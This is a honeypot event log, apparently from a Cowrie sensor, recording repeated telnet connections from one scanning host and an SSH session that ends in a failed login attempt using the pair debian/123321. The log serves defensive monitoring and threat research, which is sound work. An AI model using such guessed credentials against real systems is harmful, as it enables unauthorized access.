{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51390,"dst_ip":"159.203.135.109","dst_port":23,"session":"c617e4e869ca","protocol":"telnet","message":"New connection: 162.55.233.176:51390 (159.203.135.109:23) [session: c617e4e869ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:31.374530Z"}
{"eventid":"cowrie.session.closed","duration":46.11883568763733,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:32.752310Z","src_ip":"206.189.32.23","session":"6b5420683969","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.331977128982544,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:32.869374Z","src_ip":"162.55.233.176","session":"cca93807af90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51392,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a674976926d","protocol":"telnet","message":"New connection: 162.55.233.176:51392 (159.203.135.109:23) [session: 8a674976926d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:32.899890Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41790,"dst_ip":"159.203.135.109","dst_port":23,"session":"a09f85245a05","protocol":"telnet","message":"New connection: 162.55.233.176:41790 (159.203.135.109:23) [session: a09f85245a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:33.790925Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41804,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6f5e52f4a11","protocol":"telnet","message":"New connection: 162.55.233.176:41804 (159.203.135.109:23) [session: e6f5e52f4a11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:34.621597Z"}
{"eventid":"cowrie.session.closed","duration":31.489384412765503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:34.644682Z","src_ip":"162.55.233.176","session":"4259d29deb7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41810,"dst_ip":"159.203.135.109","dst_port":23,"session":"51d003196797","protocol":"telnet","message":"New connection: 162.55.233.176:41810 (159.203.135.109:23) [session: 51d003196797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:35.082993Z"}
{"eventid":"cowrie.session.closed","duration":34.18805003166199,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:35.639773Z","src_ip":"162.55.233.176","session":"c89bb4fbdbaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41812,"dst_ip":"159.203.135.109","dst_port":23,"session":"39f14c46aeb3","protocol":"telnet","message":"New connection: 162.55.233.176:41812 (159.203.135.109:23) [session: 39f14c46aeb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:36.465540Z"}
{"eventid":"cowrie.session.closed","duration":30.69933032989502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:36.497797Z","src_ip":"162.55.233.176","session":"6461afe7bfdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.801866054534912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:36.660382Z","src_ip":"162.55.233.176","session":"034050f19215","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.10665273666382,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:37.007743Z","src_ip":"162.55.233.176","session":"19ec182e34b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.924788236618042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:37.212075Z","src_ip":"162.55.233.176","session":"5b8346ae9cce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51732,"dst_ip":"10.17.0.5","dst_port":23,"session":"f884417bfd69","protocol":"telnet","message":"New connection: 206.189.32.23:51732 (10.17.0.5:23) [session: f884417bfd69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:37.289112Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41822,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c09e535c00e","protocol":"telnet","message":"New connection: 162.55.233.176:41822 (159.203.135.109:23) [session: 1c09e535c00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:37.658562Z"}
{"eventid":"cowrie.session.closed","duration":31.08751344680786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:37.676094Z","src_ip":"162.55.233.176","session":"ca3663fc24e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41830,"dst_ip":"159.203.135.109","dst_port":23,"session":"470986c25f4f","protocol":"telnet","message":"New connection: 162.55.233.176:41830 (159.203.135.109:23) [session: 470986c25f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:37.872905Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41836,"dst_ip":"159.203.135.109","dst_port":23,"session":"900920b380f1","protocol":"telnet","message":"New connection: 162.55.233.176:41836 (159.203.135.109:23) [session: 900920b380f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:38.202722Z"}
{"eventid":"cowrie.session.closed","duration":37.02452301979065,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:38.795630Z","src_ip":"162.55.233.176","session":"a20238187441","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41848,"dst_ip":"159.203.135.109","dst_port":23,"session":"00aae44fca93","protocol":"telnet","message":"New connection: 162.55.233.176:41848 (159.203.135.109:23) [session: 00aae44fca93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:39.223902Z"}
{"eventid":"cowrie.session.closed","duration":37.014753580093384,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:39.297407Z","src_ip":"162.55.233.176","session":"5ad81a00cd4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.094247817993164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:39.728173Z","src_ip":"162.55.233.176","session":"3093face0aaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.260062217712402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:40.022588Z","src_ip":"162.55.233.176","session":"e5bb9ac8786d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41852,"dst_ip":"159.203.135.109","dst_port":23,"session":"56d9ce9c926a","protocol":"telnet","message":"New connection: 162.55.233.176:41852 (159.203.135.109:23) [session: 56d9ce9c926a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:40.475416Z"}
{"eventid":"cowrie.session.closed","duration":120.00110054016113,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:40.551929Z","src_ip":"138.255.230.135","session":"849647d2c2b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41864,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3f06662a52b","protocol":"telnet","message":"New connection: 162.55.233.176:41864 (159.203.135.109:23) [session: f3f06662a52b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:40.822513Z"}
{"eventid":"cowrie.session.closed","duration":31.119009733200073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:40.883655Z","src_ip":"162.55.233.176","session":"ebb69ec46dac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.64552354812622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:41.770181Z","src_ip":"162.55.233.176","session":"d30ba240aa15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.12176823616028,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:42.013563Z","src_ip":"162.55.233.176","session":"0468e5cedcb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.800708532333374,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:42.179780Z","src_ip":"162.55.233.176","session":"83dd1a090ca7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.513383865356445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:42.472033Z","src_ip":"162.55.233.176","session":"11dfbcf7a22a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.154505491256714,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:43.372665Z","src_ip":"162.55.233.176","session":"890556363b95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54604,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d1084adb5a2","protocol":"telnet","message":"New connection: 162.55.233.176:54604 (159.203.135.109:23) [session: 8d1084adb5a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:43.701625Z"}
{"eventid":"cowrie.session.closed","duration":41.947858810424805,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:44.141814Z","src_ip":"162.55.233.176","session":"f776bec1f102","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54616,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc581530f02f","protocol":"telnet","message":"New connection: 162.55.233.176:54616 (159.203.135.109:23) [session: dc581530f02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:44.200336Z"}
{"eventid":"cowrie.session.closed","duration":31.1395001411438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:44.554850Z","src_ip":"162.55.233.176","session":"c3652d791680","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.211942195892334,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:44.569503Z","src_ip":"162.55.233.176","session":"553ef17b2c20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54628,"dst_ip":"159.203.135.109","dst_port":23,"session":"09c9f7445b68","protocol":"telnet","message":"New connection: 162.55.233.176:54628 (159.203.135.109:23) [session: 09c9f7445b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:45.155147Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54630,"dst_ip":"159.203.135.109","dst_port":23,"session":"3aef42d8a01e","protocol":"telnet","message":"New connection: 162.55.233.176:54630 (159.203.135.109:23) [session: 3aef42d8a01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:45.295527Z"}
{"eventid":"cowrie.session.closed","duration":42.01471734046936,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:45.640016Z","src_ip":"206.189.32.23","session":"0b2d663d5eca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54634,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ed95104478f","protocol":"telnet","message":"New connection: 162.55.233.176:54634 (159.203.135.109:23) [session: 4ed95104478f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:46.077678Z"}
{"eventid":"cowrie.session.closed","duration":32.30067276954651,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:46.413889Z","src_ip":"162.55.233.176","session":"ad1e1fd8f252","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36942,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c0059c3eea7","protocol":"telnet","message":"New connection: 188.208.141.113:36942 (10.17.0.5:23) [session: 1c0059c3eea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:46.781646Z"}
{"eventid":"cowrie.session.closed","duration":36.0407075881958,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:47.033761Z","src_ip":"162.55.233.176","session":"3c1613a7b88f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54638,"dst_ip":"159.203.135.109","dst_port":23,"session":"8caf828542be","protocol":"telnet","message":"New connection: 162.55.233.176:54638 (159.203.135.109:23) [session: 8caf828542be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:47.038493Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54650,"dst_ip":"159.203.135.109","dst_port":23,"session":"a05aa3aa196d","protocol":"telnet","message":"New connection: 162.55.233.176:54650 (159.203.135.109:23) [session: a05aa3aa196d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:47.368829Z"}
{"eventid":"cowrie.session.closed","duration":31.167377471923828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:48.939874Z","src_ip":"162.55.233.176","session":"a68ad04a6794","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.14248871803284,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:49.257347Z","src_ip":"162.55.233.176","session":"cb57ec2a4a1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.15937042236328,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:49.379523Z","src_ip":"162.55.233.176","session":"731bc06a14e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.201505184173584,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:49.718953Z","src_ip":"162.55.233.176","session":"ac5d522c7e51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54648,"dst_ip":"159.203.135.109","dst_port":23,"session":"a92f45a1c448","protocol":"telnet","message":"New connection: 162.55.233.176:54648 (159.203.135.109:23) [session: a92f45a1c448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:50.160198Z"}
{"eventid":"cowrie.session.closed","duration":35.07278609275818,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:50.197324Z","src_ip":"162.55.233.176","session":"1d9b0a4bc9fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54656,"dst_ip":"159.203.135.109","dst_port":23,"session":"217f89203854","protocol":"telnet","message":"New connection: 162.55.233.176:54656 (159.203.135.109:23) [session: 217f89203854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:50.741183Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54670,"dst_ip":"159.203.135.109","dst_port":23,"session":"503eeaa0b62f","protocol":"telnet","message":"New connection: 162.55.233.176:54670 (159.203.135.109:23) [session: 503eeaa0b62f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:51.341066Z"}
{"eventid":"cowrie.session.closed","duration":34.63689374923706,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:51.913252Z","src_ip":"162.55.233.176","session":"34adbb512023","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.59917974472046,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:51.957273Z","src_ip":"162.55.233.176","session":"0587207f94f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54682,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b36daf905b8","protocol":"telnet","message":"New connection: 162.55.233.176:54682 (159.203.135.109:23) [session: 5b36daf905b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:52.229811Z"}
{"eventid":"cowrie.session.closed","duration":31.569551944732666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:52.250220Z","src_ip":"162.55.233.176","session":"94f651f7fbee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54698,"dst_ip":"159.203.135.109","dst_port":23,"session":"d900d11d8287","protocol":"telnet","message":"New connection: 162.55.233.176:54698 (159.203.135.109:23) [session: d900d11d8287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:52.601276Z"}
{"eventid":"cowrie.session.closed","duration":38.031760454177856,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:53.677695Z","src_ip":"162.55.233.176","session":"5cc29fb0256b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38626,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f3e1e0e3cd5","protocol":"telnet","message":"New connection: 162.55.233.176:38626 (159.203.135.109:23) [session: 7f3e1e0e3cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:53.809973Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38638,"dst_ip":"159.203.135.109","dst_port":23,"session":"a65070a6dcec","protocol":"telnet","message":"New connection: 162.55.233.176:38638 (159.203.135.109:23) [session: a65070a6dcec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:53.843318Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38652,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e93287781e6","protocol":"telnet","message":"New connection: 162.55.233.176:38652 (159.203.135.109:23) [session: 2e93287781e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:55.642009Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38664,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0abadecbb80","protocol":"telnet","message":"New connection: 162.55.233.176:38664 (159.203.135.109:23) [session: f0abadecbb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:55.866914Z"}
{"eventid":"cowrie.session.closed","duration":34.15744161605835,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:57.111948Z","src_ip":"162.55.233.176","session":"c3b8f34fcdc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.767329692840576,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:58.417407Z","src_ip":"188.208.141.113","session":"5b66f86315ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.089900732040405,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:58.459961Z","src_ip":"206.189.32.23","session":"3b9bef45eb0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":55095,"dst_ip":"10.17.0.5","dst_port":22,"session":"d82bf8eece0a","protocol":"ssh","message":"New connection: 38.137.11.14:55095 (10.17.0.5:22) [session: d82bf8eece0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:58.736493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:58.740386Z","src_ip":"38.137.11.14","session":"d82bf8eece0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:58.966362Z","src_ip":"38.137.11.14","session":"d82bf8eece0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38668,"dst_ip":"159.203.135.109","dst_port":23,"session":"6429ffe7787c","protocol":"telnet","message":"New connection: 162.55.233.176:38668 (159.203.135.109:23) [session: 6429ffe7787c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:59.457588Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38684,"dst_ip":"159.203.135.109","dst_port":23,"session":"525c9c3e4e85","protocol":"telnet","message":"New connection: 162.55.233.176:38684 (159.203.135.109:23) [session: 525c9c3e4e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:59.772872Z"}
{"eventid":"cowrie.session.closed","duration":31.417905569076538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:59.837214Z","src_ip":"162.55.233.176","session":"d5f5bd4a6b32","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123321","message":"login attempt [debian/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:59.882040Z","src_ip":"38.137.11.14","session":"d82bf8eece0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.44404864311218,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:59.946556Z","src_ip":"206.189.32.23","session":"16113f3012fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":47488,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b88eba5c761","protocol":"telnet","message":"New connection: 206.189.32.23:47488 (10.17.0.5:23) [session: 1b88eba5c761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:00.245317Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38694,"dst_ip":"159.203.135.109","dst_port":23,"session":"38c541fa6104","protocol":"telnet","message":"New connection: 162.55.233.176:38694 (159.203.135.109:23) [session: 38c541fa6104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:00.416546Z"}
